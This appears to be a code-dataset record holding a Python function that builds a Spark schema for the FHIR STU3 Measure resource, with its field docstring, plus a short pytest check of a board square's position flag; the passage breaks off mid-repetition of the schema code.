square = board.Square(number=number, current_position=pos, now=some_datetime)
assert (square.is_current_position == is_current_position) | @pytest.mark.django_db
@pytest.mark.parametrize('number, pos, is_current_position', [(74, 75, False), (75, 75, True), (76, 75, False)])
def test_is_current_position(some_datetime, number, pos, is_current_position):
square = board.Square(number=number, current_position=pos, now=some_datetime)
assert (square.is_current_position == is_current_position)<|docstring|>Test the is_current_position flag is set correctly.<|endoftext|> |
bd8a476f5ee6a8661803d633f123c0d9789bab048830862cf6939a971a6195d4 | @staticmethod
def get_schema(max_nesting_depth: Optional[int]=6, nesting_depth: int=0, nesting_list: List[str]=[], max_recursion_limit: Optional[int]=2, include_extension: Optional[bool]=False, extension_fields: Optional[List[str]]=['valueBoolean', 'valueCode', 'valueDate', 'valueDateTime', 'valueDecimal', 'valueId', 'valueInteger', 'valuePositiveInt', 'valueString', 'valueTime', 'valueUnsignedInt', 'valueUri', 'valueQuantity'], extension_depth: int=0, max_extension_depth: Optional[int]=2) -> Union[(StructType, DataType)]:
'\n The Measure resource provides the definition of a quality measure.\n\n\n id: The logical id of the resource, as used in the URL for the resource. Once\n assigned, this value never changes.\n\n extension: May be used to represent additional information that is not part of the basic\n definition of the resource. In order to make the use of extensions safe and\n manageable, there is a strict set of governance applied to the definition and\n use of extensions. Though any implementer is allowed to define an extension,\n there is a set of requirements that SHALL be met as part of the definition of\n the extension.\n\n meta: The metadata about the resource. This is content that is maintained by the\n infrastructure. Changes to the content may not always be associated with\n version changes to the resource.\n\n implicitRules: A reference to a set of rules that were followed when the resource was\n constructed, and which must be understood when processing the content.\n\n language: The base language in which the resource is written.\n\n text: A human-readable narrative that contains a summary of the resource, and may be\n used to represent the content of the resource to a human. The narrative need\n not encode all the structured data, but is required to contain sufficient\n detail to make it "clinically safe" for a human to just read the narrative.\n Resource definitions may define what content should be represented in the\n narrative to ensure clinical safety.\n\n contained: These resources do not have an independent existence apart from the resource\n that contains them - they cannot be identified independently, and nor can they\n have their own independent transaction scope.\n\n resourceType: This is a Measure resource\n\n url: An absolute URI that is used to identify this measure when it is referenced in\n a specification, model, design or an instance. This SHALL be a URL, SHOULD be\n globally unique, and SHOULD be an address at which this measure is (or will\n be) published. The URL SHOULD include the major version of the measure. For\n more information see [Technical and Business\n Versions](resource.html#versions).\n\n identifier: A formal identifier that is used to identify this measure when it is\n represented in other formats, or referenced in a specification, model, design\n or an instance.\n\n version: The identifier that is used to identify this version of the measure when it is\n referenced in a specification, model, design or instance. This is an arbitrary\n value managed by the measure author and is not expected to be globally unique.\n For example, it might be a timestamp (e.g. yyyymmdd) if a managed version is\n not available. There is also no expectation that versions can be placed in a\n lexicographical sequence. To provide a version consistent with the Decision\n Support Service specification, use the format Major.Minor.Revision (e.g.\n 1.0.0). For more information on versioning knowledge assets, refer to the\n Decision Support Service specification. Note that a version is required for\n non-experimental active artifacts.\n\n name: A natural language name identifying the measure. This name should be usable as\n an identifier for the module by machine processing applications such as code\n generation.\n\n title: A short, descriptive, user-friendly title for the measure.\n\n status: The status of this measure. Enables tracking the life-cycle of the content.\n\n experimental: A boolean value to indicate that this measure is authored for testing purposes\n (or education/evaluation/marketing), and is not intended to be used for\n genuine usage.\n\n date: The date (and optionally time) when the measure was published. The date must\n change if and when the business version changes and it must change if the\n status code changes. In addition, it should change when the substantive\n content of the measure changes.\n\n publisher: The name of the individual or organization that published the measure.\n\n description: A free text natural language description of the measure from a consumer\'s\n perspective.\n\n purpose: Explaination of why this measure is needed and why it has been designed as it\n has.\n\n usage: A detailed description of how the measure is used from a clinical perspective.\n\n approvalDate: The date on which the resource content was approved by the publisher. Approval\n happens once when the content is officially approved for usage.\n\n lastReviewDate: The date on which the resource content was last reviewed. Review happens\n periodically after approval, but doesn\'t change the original approval date.\n\n effectivePeriod: The period during which the measure content was or is planned to be in active\n use.\n\n useContext: The content was developed with a focus and intent of supporting the contexts\n that are listed. These terms may be used to assist with indexing and searching\n for appropriate measure instances.\n\n jurisdiction: A legal or geographic region in which the measure is intended to be used.\n\n topic: Descriptive topics related to the content of the measure. Topics provide a\n high-level categorization of the type of the measure that can be useful for\n filtering and searching.\n\n contributor: A contributor to the content of the measure, including authors, editors,\n reviewers, and endorsers.\n\n contact: Contact details to assist a user in finding and communicating with the\n publisher.\n\n copyright: A copyright statement relating to the measure and/or its contents. Copyright\n statements are generally legal restrictions on the use and publishing of the\n measure.\n\n relatedArtifact: Related artifacts such as additional documentation, justification, or\n bibliographic references.\n\n library: A reference to a Library resource containing the formal logic used by the\n measure.\n\n disclaimer: Notices and disclaimers regarding the use of the measure, or related to\n intellectual property (such as code systems) referenced by the measure.\n\n scoring: Indicates how the calculation is performed for the measure, including\n proportion, ratio, continuous variable, and cohort. The value set is\n extensible, allowing additional measure scoring types to be represented.\n\n compositeScoring: If this is a composite measure, the scoring method used to combine the\n component measures to determine the composite score.\n\n type: Indicates whether the measure is used to examine a process, an outcome over\n time, a patient-reported outcome, or a structure measure such as utilization.\n\n riskAdjustment: A description of the risk adjustment factors that may impact the resulting\n score for the measure and how they may be accounted for when computing and\n reporting measure results.\n\n rateAggregation: Describes how to combine the information calculated, based on logic in each of\n several populations, into one summarized result.\n\n rationale: Provides a succint statement of the need for the measure. Usually includes\n statements pertaining to importance criterion: impact, gap in care, and\n evidence.\n\n clinicalRecommendationStatement: Provides a summary of relevant clinical guidelines or other clinical\n recommendations supporting the measure.\n\n improvementNotation: Information on whether an increase or decrease in score is the preferred\n result (e.g., a higher score indicates better quality OR a lower score\n indicates better quality OR quality is whthin a range).\n\n definition: Provides a description of an individual term used within the measure.\n\n guidance: Additional guidance for the measure including how it can be used in a clinical\n context, and the intent of the measure.\n\n set: The measure set, e.g. Preventive Care and Screening.\n\n group: A group of population criteria for the measure.\n\n supplementalData: The supplemental data criteria for the measure report, specified as either the\n name of a valid CQL expression within a referenced library, or a valid FHIR\n Resource Path.\n\n '
from spark_fhir_schemas.stu3.complex_types.extension import ExtensionSchema
from spark_fhir_schemas.stu3.complex_types.meta import MetaSchema
from spark_fhir_schemas.stu3.complex_types.narrative import NarrativeSchema
from spark_fhir_schemas.stu3.simple_types.resourcelist import ResourceListSchema
from spark_fhir_schemas.stu3.complex_types.identifier import IdentifierSchema
from spark_fhir_schemas.stu3.complex_types.period import PeriodSchema
from spark_fhir_schemas.stu3.complex_types.usagecontext import UsageContextSchema
from spark_fhir_schemas.stu3.complex_types.codeableconcept import CodeableConceptSchema
from spark_fhir_schemas.stu3.complex_types.contributor import ContributorSchema
from spark_fhir_schemas.stu3.complex_types.contactdetail import ContactDetailSchema
from spark_fhir_schemas.stu3.complex_types.relatedartifact import RelatedArtifactSchema
from spark_fhir_schemas.stu3.complex_types.reference import ReferenceSchema
from spark_fhir_schemas.stu3.complex_types.measure_group import Measure_GroupSchema
from spark_fhir_schemas.stu3.complex_types.measure_supplementaldata import Measure_SupplementalDataSchema
if ((max_recursion_limit and (nesting_list.count('Measure') >= max_recursion_limit)) or (max_nesting_depth and (nesting_depth >= max_nesting_depth))):
return StructType([StructField('id', StringType(), True)])
my_nesting_list: List[str] = (nesting_list + ['Measure'])
schema = StructType([StructField('id', StringType(), True), StructField('extension', ArrayType(ExtensionSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('meta', MetaSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('implicitRules', StringType(), True), StructField('language', StringType(), True), StructField('text', NarrativeSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('contained', ArrayType(ResourceListSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('resourceType', StringType(), True), StructField('url', StringType(), True), StructField('identifier', ArrayType(IdentifierSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('version', StringType(), True), StructField('name', StringType(), True), StructField('title', StringType(), True), StructField('status', StringType(), True), StructField('experimental', BooleanType(), True), StructField('date', StringType(), True), StructField('publisher', StringType(), True), StructField('description', StringType(), True), StructField('purpose', StringType(), True), StructField('usage', StringType(), True), StructField('approvalDate', DateType(), True), StructField('lastReviewDate', DateType(), True), StructField('effectivePeriod', PeriodSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('useContext', ArrayType(UsageContextSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('jurisdiction', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('topic', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('contributor', ArrayType(ContributorSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('contact', ArrayType(ContactDetailSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('copyright', StringType(), True), StructField('relatedArtifact', ArrayType(RelatedArtifactSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('library', ArrayType(ReferenceSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('disclaimer', StringType(), True), StructField('scoring', CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('compositeScoring', CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('type', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('riskAdjustment', StringType(), True), StructField('rateAggregation', StringType(), True), StructField('rationale', StringType(), True), StructField('clinicalRecommendationStatement', StringType(), True), StructField('improvementNotation', StringType(), True), StructField('definition', ArrayType(StringType()), True), StructField('guidance', StringType(), True), StructField('set', StringType(), True), StructField('group', ArrayType(Measure_GroupSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('supplementalData', ArrayType(Measure_SupplementalDataSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True)])
if (not include_extension):
schema.fields = [(c if (c.name != 'extension') else StructField('extension', StringType(), True)) for c in schema.fields]
return schema | The Measure resource provides the definition of a quality measure.
id: The logical id of the resource, as used in the URL for the resource. Once
assigned, this value never changes.
extension: May be used to represent additional information that is not part of the basic
definition of the resource. In order to make the use of extensions safe and
manageable, there is a strict set of governance applied to the definition and
use of extensions. Though any implementer is allowed to define an extension,
there is a set of requirements that SHALL be met as part of the definition of
the extension.
meta: The metadata about the resource. This is content that is maintained by the
infrastructure. Changes to the content may not always be associated with
version changes to the resource.
implicitRules: A reference to a set of rules that were followed when the resource was
constructed, and which must be understood when processing the content.
language: The base language in which the resource is written.
text: A human-readable narrative that contains a summary of the resource, and may be
used to represent the content of the resource to a human. The narrative need
not encode all the structured data, but is required to contain sufficient
detail to make it "clinically safe" for a human to just read the narrative.
Resource definitions may define what content should be represented in the
narrative to ensure clinical safety.
contained: These resources do not have an independent existence apart from the resource
that contains them - they cannot be identified independently, and nor can they
have their own independent transaction scope.
resourceType: This is a Measure resource
url: An absolute URI that is used to identify this measure when it is referenced in
a specification, model, design or an instance. This SHALL be a URL, SHOULD be
globally unique, and SHOULD be an address at which this measure is (or will
be) published. The URL SHOULD include the major version of the measure. For
more information see [Technical and Business
Versions](resource.html#versions).
identifier: A formal identifier that is used to identify this measure when it is
represented in other formats, or referenced in a specification, model, design
or an instance.
version: The identifier that is used to identify this version of the measure when it is
referenced in a specification, model, design or instance. This is an arbitrary
value managed by the measure author and is not expected to be globally unique.
For example, it might be a timestamp (e.g. yyyymmdd) if a managed version is
not available. There is also no expectation that versions can be placed in a
lexicographical sequence. To provide a version consistent with the Decision
Support Service specification, use the format Major.Minor.Revision (e.g.
1.0.0). For more information on versioning knowledge assets, refer to the
Decision Support Service specification. Note that a version is required for
non-experimental active artifacts.
name: A natural language name identifying the measure. This name should be usable as
an identifier for the module by machine processing applications such as code
generation.
title: A short, descriptive, user-friendly title for the measure.
status: The status of this measure. Enables tracking the life-cycle of the content.
experimental: A boolean value to indicate that this measure is authored for testing purposes
(or education/evaluation/marketing), and is not intended to be used for
genuine usage.
date: The date (and optionally time) when the measure was published. The date must
change if and when the business version changes and it must change if the
status code changes. In addition, it should change when the substantive
content of the measure changes.
publisher: The name of the individual or organization that published the measure.
description: A free text natural language description of the measure from a consumer's
perspective.
purpose: Explaination of why this measure is needed and why it has been designed as it
has.
usage: A detailed description of how the measure is used from a clinical perspective.
approvalDate: The date on which the resource content was approved by the publisher. Approval
happens once when the content is officially approved for usage.
lastReviewDate: The date on which the resource content was last reviewed. Review happens
periodically after approval, but doesn't change the original approval date.
effectivePeriod: The period during which the measure content was or is planned to be in active
use.
useContext: The content was developed with a focus and intent of supporting the contexts
that are listed. These terms may be used to assist with indexing and searching
for appropriate measure instances.
jurisdiction: A legal or geographic region in which the measure is intended to be used.
topic: Descriptive topics related to the content of the measure. Topics provide a
high-level categorization of the type of the measure that can be useful for
filtering and searching.
contributor: A contributor to the content of the measure, including authors, editors,
reviewers, and endorsers.
contact: Contact details to assist a user in finding and communicating with the
publisher.
copyright: A copyright statement relating to the measure and/or its contents. Copyright
statements are generally legal restrictions on the use and publishing of the
measure.
relatedArtifact: Related artifacts such as additional documentation, justification, or
bibliographic references.
library: A reference to a Library resource containing the formal logic used by the
measure.
disclaimer: Notices and disclaimers regarding the use of the measure, or related to
intellectual property (such as code systems) referenced by the measure.
scoring: Indicates how the calculation is performed for the measure, including
proportion, ratio, continuous variable, and cohort. The value set is
extensible, allowing additional measure scoring types to be represented.
compositeScoring: If this is a composite measure, the scoring method used to combine the
component measures to determine the composite score.
type: Indicates whether the measure is used to examine a process, an outcome over
time, a patient-reported outcome, or a structure measure such as utilization.
riskAdjustment: A description of the risk adjustment factors that may impact the resulting
score for the measure and how they may be accounted for when computing and
reporting measure results.
rateAggregation: Describes how to combine the information calculated, based on logic in each of
several populations, into one summarized result.
rationale: Provides a succint statement of the need for the measure. Usually includes
statements pertaining to importance criterion: impact, gap in care, and
evidence.
clinicalRecommendationStatement: Provides a summary of relevant clinical guidelines or other clinical
recommendations supporting the measure.
improvementNotation: Information on whether an increase or decrease in score is the preferred
result (e.g., a higher score indicates better quality OR a lower score
indicates better quality OR quality is whthin a range).
definition: Provides a description of an individual term used within the measure.
guidance: Additional guidance for the measure including how it can be used in a clinical
context, and the intent of the measure.
set: The measure set, e.g. Preventive Care and Screening.
group: A group of population criteria for the measure.
supplementalData: The supplemental data criteria for the measure report, specified as either the
name of a valid CQL expression within a referenced library, or a valid FHIR
Resource Path. | spark_fhir_schemas/stu3/complex_types/measure.py | get_schema | icanbwell/SparkFhirSchemas | 2 | python | @staticmethod
def get_schema(max_nesting_depth: Optional[int]=6, nesting_depth: int=0, nesting_list: List[str]=[], max_recursion_limit: Optional[int]=2, include_extension: Optional[bool]=False, extension_fields: Optional[List[str]]=['valueBoolean', 'valueCode', 'valueDate', 'valueDateTime', 'valueDecimal', 'valueId', 'valueInteger', 'valuePositiveInt', 'valueString', 'valueTime', 'valueUnsignedInt', 'valueUri', 'valueQuantity'], extension_depth: int=0, max_extension_depth: Optional[int]=2) -> Union[(StructType, DataType)]:
'\n The Measure resource provides the definition of a quality measure.\n\n\n id: The logical id of the resource, as used in the URL for the resource. Once\n assigned, this value never changes.\n\n extension: May be used to represent additional information that is not part of the basic\n definition of the resource. In order to make the use of extensions safe and\n manageable, there is a strict set of governance applied to the definition and\n use of extensions. Though any implementer is allowed to define an extension,\n there is a set of requirements that SHALL be met as part of the definition of\n the extension.\n\n meta: The metadata about the resource. This is content that is maintained by the\n infrastructure. Changes to the content may not always be associated with\n version changes to the resource.\n\n implicitRules: A reference to a set of rules that were followed when the resource was\n constructed, and which must be understood when processing the content.\n\n language: The base language in which the resource is written.\n\n text: A human-readable narrative that contains a summary of the resource, and may be\n used to represent the content of the resource to a human. The narrative need\n not encode all the structured data, but is required to contain sufficient\n detail to make it "clinically safe" for a human to just read the narrative.\n Resource definitions may define what content should be represented in the\n narrative to ensure clinical safety.\n\n contained: These resources do not have an independent existence apart from the resource\n that contains them - they cannot be identified independently, and nor can they\n have their own independent transaction scope.\n\n resourceType: This is a Measure resource\n\n url: An absolute URI that is used to identify this measure when it is referenced in\n a specification, model, design or an instance. This SHALL be a URL, SHOULD be\n globally unique, and SHOULD be an address at which this measure is (or will\n be) published. The URL SHOULD include the major version of the measure. For\n more information see [Technical and Business\n Versions](resource.html#versions).\n\n identifier: A formal identifier that is used to identify this measure when it is\n represented in other formats, or referenced in a specification, model, design\n or an instance.\n\n version: The identifier that is used to identify this version of the measure when it is\n referenced in a specification, model, design or instance. This is an arbitrary\n value managed by the measure author and is not expected to be globally unique.\n For example, it might be a timestamp (e.g. yyyymmdd) if a managed version is\n not available. There is also no expectation that versions can be placed in a\n lexicographical sequence. To provide a version consistent with the Decision\n Support Service specification, use the format Major.Minor.Revision (e.g.\n 1.0.0). For more information on versioning knowledge assets, refer to the\n Decision Support Service specification. Note that a version is required for\n non-experimental active artifacts.\n\n name: A natural language name identifying the measure. This name should be usable as\n an identifier for the module by machine processing applications such as code\n generation.\n\n title: A short, descriptive, user-friendly title for the measure.\n\n status: The status of this measure. Enables tracking the life-cycle of the content.\n\n experimental: A boolean value to indicate that this measure is authored for testing purposes\n (or education/evaluation/marketing), and is not intended to be used for\n genuine usage.\n\n date: The date (and optionally time) when the measure was published. The date must\n change if and when the business version changes and it must change if the\n status code changes. In addition, it should change when the substantive\n content of the measure changes.\n\n publisher: The name of the individual or organization that published the measure.\n\n description: A free text natural language description of the measure from a consumer\'s\n perspective.\n\n purpose: Explaination of why this measure is needed and why it has been designed as it\n has.\n\n usage: A detailed description of how the measure is used from a clinical perspective.\n\n approvalDate: The date on which the resource content was approved by the publisher. Approval\n happens once when the content is officially approved for usage.\n\n lastReviewDate: The date on which the resource content was last reviewed. Review happens\n periodically after approval, but doesn\'t change the original approval date.\n\n effectivePeriod: The period during which the measure content was or is planned to be in active\n use.\n\n useContext: The content was developed with a focus and intent of supporting the contexts\n that are listed. These terms may be used to assist with indexing and searching\n for appropriate measure instances.\n\n jurisdiction: A legal or geographic region in which the measure is intended to be used.\n\n topic: Descriptive topics related to the content of the measure. Topics provide a\n high-level categorization of the type of the measure that can be useful for\n filtering and searching.\n\n contributor: A contributor to the content of the measure, including authors, editors,\n reviewers, and endorsers.\n\n contact: Contact details to assist a user in finding and communicating with the\n publisher.\n\n copyright: A copyright statement relating to the measure and/or its contents. Copyright\n statements are generally legal restrictions on the use and publishing of the\n measure.\n\n relatedArtifact: Related artifacts such as additional documentation, justification, or\n bibliographic references.\n\n library: A reference to a Library resource containing the formal logic used by the\n measure.\n\n disclaimer: Notices and disclaimers regarding the use of the measure, or related to\n intellectual property (such as code systems) referenced by the measure.\n\n scoring: Indicates how the calculation is performed for the measure, including\n proportion, ratio, continuous variable, and cohort. The value set is\n extensible, allowing additional measure scoring types to be represented.\n\n compositeScoring: If this is a composite measure, the scoring method used to combine the\n component measures to determine the composite score.\n\n type: Indicates whether the measure is used to examine a process, an outcome over\n time, a patient-reported outcome, or a structure measure such as utilization.\n\n riskAdjustment: A description of the risk adjustment factors that may impact the resulting\n score for the measure and how they may be accounted for when computing and\n reporting measure results.\n\n rateAggregation: Describes how to combine the information calculated, based on logic in each of\n several populations, into one summarized result.\n\n rationale: Provides a succint statement of the need for the measure. Usually includes\n statements pertaining to importance criterion: impact, gap in care, and\n evidence.\n\n clinicalRecommendationStatement: Provides a summary of relevant clinical guidelines or other clinical\n recommendations supporting the measure.\n\n improvementNotation: Information on whether an increase or decrease in score is the preferred\n result (e.g., a higher score indicates better quality OR a lower score\n indicates better quality OR quality is whthin a range).\n\n definition: Provides a description of an individual term used within the measure.\n\n guidance: Additional guidance for the measure including how it can be used in a clinical\n context, and the intent of the measure.\n\n set: The measure set, e.g. Preventive Care and Screening.\n\n group: A group of population criteria for the measure.\n\n supplementalData: The supplemental data criteria for the measure report, specified as either the\n name of a valid CQL expression within a referenced library, or a valid FHIR\n Resource Path.\n\n '
from spark_fhir_schemas.stu3.complex_types.extension import ExtensionSchema
from spark_fhir_schemas.stu3.complex_types.meta import MetaSchema
from spark_fhir_schemas.stu3.complex_types.narrative import NarrativeSchema
from spark_fhir_schemas.stu3.simple_types.resourcelist import ResourceListSchema
from spark_fhir_schemas.stu3.complex_types.identifier import IdentifierSchema
from spark_fhir_schemas.stu3.complex_types.period import PeriodSchema
from spark_fhir_schemas.stu3.complex_types.usagecontext import UsageContextSchema
from spark_fhir_schemas.stu3.complex_types.codeableconcept import CodeableConceptSchema
from spark_fhir_schemas.stu3.complex_types.contributor import ContributorSchema
from spark_fhir_schemas.stu3.complex_types.contactdetail import ContactDetailSchema
from spark_fhir_schemas.stu3.complex_types.relatedartifact import RelatedArtifactSchema
from spark_fhir_schemas.stu3.complex_types.reference import ReferenceSchema
from spark_fhir_schemas.stu3.complex_types.measure_group import Measure_GroupSchema
from spark_fhir_schemas.stu3.complex_types.measure_supplementaldata import Measure_SupplementalDataSchema
if ((max_recursion_limit and (nesting_list.count('Measure') >= max_recursion_limit)) or (max_nesting_depth and (nesting_depth >= max_nesting_depth))):
return StructType([StructField('id', StringType(), True)])
my_nesting_list: List[str] = (nesting_list + ['Measure'])
schema = StructType([StructField('id', StringType(), True), StructField('extension', ArrayType(ExtensionSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('meta', MetaSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('implicitRules', StringType(), True), StructField('language', StringType(), True), StructField('text', NarrativeSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('contained', ArrayType(ResourceListSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('resourceType', StringType(), True), StructField('url', StringType(), True), StructField('identifier', ArrayType(IdentifierSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('version', StringType(), True), StructField('name', StringType(), True), StructField('title', StringType(), True), StructField('status', StringType(), True), StructField('experimental', BooleanType(), True), StructField('date', StringType(), True), StructField('publisher', StringType(), True), StructField('description', StringType(), True), StructField('purpose', StringType(), True), StructField('usage', StringType(), True), StructField('approvalDate', DateType(), True), StructField('lastReviewDate', DateType(), True), StructField('effectivePeriod', PeriodSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('useContext', ArrayType(UsageContextSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('jurisdiction', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('topic', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('contributor', ArrayType(ContributorSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('contact', ArrayType(ContactDetailSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('copyright', StringType(), True), StructField('relatedArtifact', ArrayType(RelatedArtifactSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('library', ArrayType(ReferenceSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('disclaimer', StringType(), True), StructField('scoring', CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('compositeScoring', CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('type', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, 